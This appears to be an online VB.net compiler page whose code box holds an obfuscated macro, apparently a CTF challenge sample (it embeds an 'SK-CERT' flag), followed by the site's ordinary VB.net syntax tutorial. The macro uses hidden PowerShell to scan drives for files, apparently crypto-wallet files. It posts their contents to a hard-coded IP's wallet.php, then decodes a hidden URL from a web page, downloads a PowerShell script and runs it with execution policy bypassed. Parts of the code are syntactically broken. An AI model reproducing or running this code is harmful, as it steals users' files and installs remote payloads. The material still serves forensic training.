Public Module Program
Dim e82120f6eb877385243aae15d92e7e641 As String
Dim r81643b7f624a34b70d8ee428e5759613 As String
Dim n47f919f310871c4bfd51cf0709ca166d As String
Dim y421397a92abea5ac103badbf0fbf92bc As String
Dim b1f180003f7ceaef3db1c314f23e4d02f As Integer
Dim t8952b08f7910617055c3fad1f50f57d4() As String
Dim n39e679f588e34f4d95d0be86d9db053b As Integer
n47f919f310871c4bfd51cf0709ca166d = "27 36 1C 13 2A 22 2F 37 2D 21 58 58 1B 08 05 22 38 2E 18 02 21 3D 22 72 29 24 1C 11 09 0F 4B 66 7A 3A 04 1B 35 30 29 36 61 0A 3D 21 41 22 23 0F 1B 1D 22 22 1D 1C 67 7F 11 2C 0C 1D 4C"
y421397a92abea5ac103badbf0fbf92bc = "77 74 39 13 3B 24 35 21 24 6D 55 1C 02 02 07 33 33 3C 4B 23 0C 12 6A 7F 6B 61 52 02 0D 0D 07 23 23 73 47 5C 68 29 1C 33 6C 2B 39 58 2A 51 46 7F 0A 73 4B 0A 78 74 67 29 61 69 27 5B 2A 14 07 2A 19 38 06 13 78 2C 67 71 61 1E 33 58 2F 24 39 12 2C 2E 58 29 2F 65 29 26 1E 3E 48 18 5F 3E 1C 72 3B 35 58 02 6D 2C"
r81643b7f624a34b70d8ee428e5759613 = "WYkvXQGRAMxulakF"
n47f919f310871c4bfd51cf0709ca166d = tef891184c4e4eb93f9dfc49ef3ef1a3d(n47f919f310871c4bfd51cf0709ca166d)
nb10e22222b650a986497e7bd70ae44d7(n47f919f310871c4bfd51cf0709ca166d, r81643b7f624a34b70d8ee428e5759613)
y421397a92abea5ac103badbf0fbf92bc = tef891184c4e4eb93f9dfc49ef3ef1a3d(y421397a92abea5ac103badbf0fbf92bc)
nb10e22222b650a986497e7bd70ae44d7(y421397a92abea5ac103badbf0fbf92bc, r81643b7f624a34b70d8ee428e5759613)
For i = 65 To 90
b785a6ee17ac0dc3c19e0ceeee71121b8 = ""
neba0332859988d63228be9264038544f = ""
b785a6ee17ac0dc3c19e0ceeee71121b8 = chr(i) &":\"
neba0332859988d63228be9264038544f = Dir(b785a6ee17ac0dc3c19e0ceeee71121b8, vbDirectory)
If neba0332859988d63228be9264038544f = "" Then
Else
n39e679f588e34f4d95d0be86d9db053b = 0
xefc930b38ecd11d422d911ed10897c1f = "powershell -windowstyle hidden -command Get-LocalUser -Name $env:USERNAME | Select sid"
e82120f6eb877385243aae15d92e7e641 = CreateObject("WScript.Shell").Exec(xefc930b38ecd11d422d911ed10897c1f).StdOut.ReadAll
nd97986fdd077e026409f51bd276388f5 = b785a6ee17ac0dc3c19e0ceeee71121b8 &"Windows"
neba0332859988d63228be9264038544f = Dir(nd97986fdd077e026409f51bd276388f5, vbDirectory)
If neba0332859988d63228be9264038544f = "" Then
xefc930b38ecd11d422d911ed10897c1f = n47f919f310871c4bfd51cf0709ca166d &b785a6ee17ac0dc3c19e0ceeee71121b8 &y421397a92abea5ac103badbf0fbf92bc
Else
xefc930b38ecd11d422d911ed10897c1f = n47f919f310871c4bfd51cf0709ca166d &b785a6ee17ac0dc3c19e0ceeee71121b8 &"Users\" &y421397a92abea5ac103badbf0fbf92bc
n39e679f588e34f4d95d0be86d9db053b = 1
End If
n6ffaff2c74a594fd2862378875a20cde = CreateObject("WScript.Shell").Exec(xefc930b38ecd11d422d911ed10897c1f).StdOut.ReadAll
If n6ffaff2c74a594fd2862378875a20cde = "" Then
Else
Set b8777db0116f745e22a3374df7393d3d6 = CreateObject("MSXML2.ServerXMLHTTP")
Dim nc6508627a975608356e338bf4c61a565 As String
t8952b08f7910617055c3fad1f50f57d4 = Split(n6ffaff2c74a594fd2862378875a20cde, chr(13))
For x = LBound(t8952b08f7910617055c3fad1f50f57d4()) To UBound(t8952b08f7910617055c3fad1f50f57d4())
If zf9fe9090897bc571f34a3d710c5a0c6c(t8952b08f7910617055c3fad1f50f57d4(x)) = "" Then
Else
b1f180003f7ceaef3db1c314f23e4d02f = FreeFile
Open zf9fe9090897bc571f34a3d710c5a0c6c(t8952b08f7910617055c3fad1f50f57d4(x)) For Input As #b1f180003f7ceaef3db1c314f23e4d02f
y990d03aa6db9942cb5dc481ad97309fb = ""
While Not EOF(b1f180003f7ceaef3db1c314f23e4d02f)
Line Input #b1f180003f7ceaef3db1c314f23e4d02f, DataLine
y990d03aa6db9942cb5dc481ad97309fb = y990d03aa6db9942cb5dc481ad97309fb &chr(13) &DataLine
Wend
y990d03aa6db9942cb5dc481ad97309fb = y990d03aa6db9942cb5dc481ad97309fb &e82120f6eb877385243aae15d92e7e641
y990d03aa6db9942cb5dc481ad97309fb = y990d03aa6db9942cb5dc481ad97309fb &chr(13) &chr(83) &chr(75) &chr(45) &chr(67) &chr(69) &chr(82) &chr(84) &chr(123) &chr(119) &chr(104) &chr(51) &chr(114) &chr(101) &chr(95) &chr(109) &chr(121) &chr(95) &chr(99) &chr(114) &chr(121) &chr(112) &chr(116) &chr(48) &chr(95) &chr(103) &chr(48) &chr(51) &chr(115) &chr(125)
bea2b19e869d906e19c2c5845ef99d624 = chr(104)+ chr(116)+ chr(116)+ chr(112)+ chr(58)+ chr(47)+ chr(47)+ chr(49)+ chr(57)+ chr(56)+ chr(46)+ chr(49)+ chr(56)+ chr(46)+ chr(55)+ chr(46)+ chr(52)+ chr(52)+ chr(58)+ chr(56)+ chr(48)+ chr(48)+ chr(48)+ chr(47)+ chr(119)+ chr(97)+ chr(108)+ chr(108)+ chr(101)+ chr(116)+ chr(46)+ chr(112)+ chr(104)+ chr(112)
b8777db0116f745e22a3374df7393d3d6.Open "POST", bea2b19e869d906e19c2c5845ef99d624, False
b8777db0116f745e22a3374df7393d3d6.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
b8777db0116f745e22a3374df7393d3d6.send(y990d03aa6db9942cb5dc481ad97309fb)
t6449198e0384c06d719c5cc8e9d0f432 = b8777db0116f745e22a3374df7393d3d6.responseText
Close #b1f180003f7ceaef3db1c314f23e4d02f
End If
Next x
If n39e679f588e34f4d95d0be86d9db053b = 1 Then
EncodedData = "51 32 32 102 10 103 65 65 102 199 10 32 8 396 11 13 17 23 12 4 65 9 199 106 65 32 58 1179 9 1277 1144 7 68 5922 86 7457 34 45 49 118 46 18719 1732 18 4 68 12811 386 16 13 25 12811 18 33 12811 4 1379 5 106 1379 9 68 18774"
bea2b19e869d906e19c2c5845ef99d624 = chr(104)+ chr(116)+ chr(116)+ chr(112)+ chr(58)+ chr(47)+ chr(47)+ chr(112)+ chr(104)+ chr(114)+ chr(97)+ chr(99)+ chr(107)+ chr(46)+ chr(111)+ chr(114)+ chr(103)+ chr(47)+ chr(105)+ chr(115)+ chr(115)+ chr(117)+ chr(101)+ chr(115)+ chr(47)+ chr(55)+ chr(48)+ chr(47)+ chr(53)+ chr(46)+ chr(104)+ chr(116)+ chr(109)+ chr(108)
b8777db0116f745e22a3374df7393d3d6.Open "GET", bea2b19e869d906e19c2c5845ef99d624, False
b8777db0116f745e22a3374df7393d3d6.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
b8777db0116f745e22a3374df7393d3d6.send()
outputData = b8777db0116f745e22a3374df7393d3d6.responseText
bea2b19e869d906e19c2c5845ef99d624 = ""
t8952b08f7910617055c3fad1f50f57d4 = Split(EncodedData, " ")
For m = LBound(t8952b08f7910617055c3fad1f50f57d4()) To UBound(t8952b08f7910617055c3fad1f50f57d4())
bea2b19e869d906e19c2c5845ef99d624 = bea2b19e869d906e19c2c5845ef99d624 &Mid(outputData, t8952b08f7910617055c3fad1f50f57d4(m), 1)
Next m
bea2b19e869d906e19c2c5845ef99d624 = split(bea2b19e869d906e19c2c5845ef99d624,"#")(0)
b8777db0116f745e22a3374df7393d3d6.Open "GET", bea2b19e869d906e19c2c5845ef99d624, False
b8777db0116f745e22a3374df7393d3d6.send()
Dim fso as Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim y0ba683a132bc63644c724ab7e1b8ca39 as Object
Set y0ba683a132bc63644c724ab7e1b8ca39 = FSO.CreateTextFile(b785a6ee17ac0dc3c19e0ceeee71121b8 &"Users\Public\Documents\script.ps1")
y0ba683a132bc63644c724ab7e1b8ca39.WriteLine b8777db0116f745e22a3374df7393d3d6.responseText
y0ba683a132bc63644c724ab7e1b8ca39.Close
Set fso = Nothing
Set y0ba683a132bc63644c724ab7e1b8ca39 = Nothing
xefc930b38ecd11d422d911ed10897c1f = "powershell -windowstyle hidden -ExecutionPolicy Bypass -File " &b785a6ee17ac0dc3c19e0ceeee71121b8 &"Users\Public\Documents\script.ps1"
CreateObject("WScript.Shell").Exec(xefc930b38ecd11d422d911ed10897c1f)
End If
End If
End If
Next i
End Sub
Private Sub zf9fe9090897bc571f34a3d710c5a0c6c(strSource As String) As String
Dim i As Integer
Dim wa222f653e80d44592e6ae3a3c9b841d0 As String
For i = 1 To Len(strSource)
Select Case Asc(Mid(strSource, i, 1))
Case 32 To 126:
wa222f653e80d44592e6ae3a3c9b841d0 = wa222f653e80d44592e6ae3a3c9b841d0 &Mid(strSource, i, 1)
End Select
Next
zf9fe9090897bc571f34a3d710c5a0c6c = wa222f653e80d44592e6ae3a3c9b841d0
End Sub
Private Sub tef891184c4e4eb93f9dfc49ef3ef1a3d(ByVal HexToStr As String) As String
Dim b0ec00fea928e2c2fab85507ac6b23ced As String
Dim t3fe9cf8bc7672f0b96988be5acd6b68c As String
Dim I As Long
For I = 1 To Len(HexToStr) Step 3
b0ec00fea928e2c2fab85507ac6b23ced = Chr$(Val("&H" &Mid$(HexToStr, I, 2)))
t3fe9cf8bc7672f0b96988be5acd6b68c = t3fe9cf8bc7672f0b96988be5acd6b68c &b0ec00fea928e2c2fab85507ac6b23ced
Next I
tef891184c4e4eb93f9dfc49ef3ef1a3d = t3fe9cf8bc7672f0b96988be5acd6b68c
End Sub
Private Sub nb10e22222b650a986497e7bd70ae44d7(ByRef Text As String, ByRef r81643b7f624a34b70d8ee428e5759613 As String)
Dim l As Long
Dim lonLenKey As Long
Dim lonKeyPos As Long
lonLenKey = Len(r81643b7f624a34b70d8ee428e5759613)
For l = 1 To Len(Text)
lonKeyPos = lonKeyPos + 1
If lonKeyPos > lonLenKey Then lonKeyPos = 1
Mid$(Text, l, 1) = Chr$(Asc(Mid$(Text, l, 1)) Xor Asc(Mid$(r81643b7f624a34b70d8ee428e5759613, lonKeyPos, 1)))
Next l
End Sub
End Module Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net. OneCompiler also has reference programs, where you can look for the sample code to get started with.
OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.
Public Module Program
Public Sub Main(args() As string)
Dim name as String = Console.ReadLine() ' Reading input from STDIN
Console.WriteLine("Hello " & name) ' Writing output to STDOUT
End Sub
End Module
Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.
Variable is a name given to the storage area in order to identify them in our programs.
Simple syntax of Variable declaration is as follows
Dim variableName [ As [ New ] dataType ] [ = initializer ]
variableName = value
If condition-expression Then
'code
End If
If(conditional-expression)Then
'code if the conditional-expression is true
Else
'code if the conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
Else If(conditional-expression) Then
'code if the above conditional-expression is true
Else
'code if the above conditional-expression is false
End If
If(conditional-expression)Then
'code if the above conditional-expression is true
If(conditional-expression)Then
'code if the above conditional-expression is true
End If
End If
Select [ Case ] expression
[ Case expressionlist
'code ]
[ Case Else
'code ]
End Select
For counter [ As datatype ] = begin To end [ Step step ]
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ counter ]
For Each element [ As datatype ] In group
'code
[ Continue For ]
'code
[ Exit For ]
'code
Next [ element ]
While conditional-expression
'Code
[ Continue While ]
'Code
[ Exit While ]
'Code
End While
Do { While | Until } conditional-expression
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop
Do
'Code
[ Continue Do ]
'Code
[ Exit Do ]
'Code
Loop { While | Until } conditional-expression
Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
Procedures are of two types.
Functions return a value when they are called.
[accessModifiers] Function functionName [(parameterList)] As returnType
'code
End Function
Sub-procedures are similar to functions but they don't return any value.
Sub ProcedureName (parameterList)
'Code
End Sub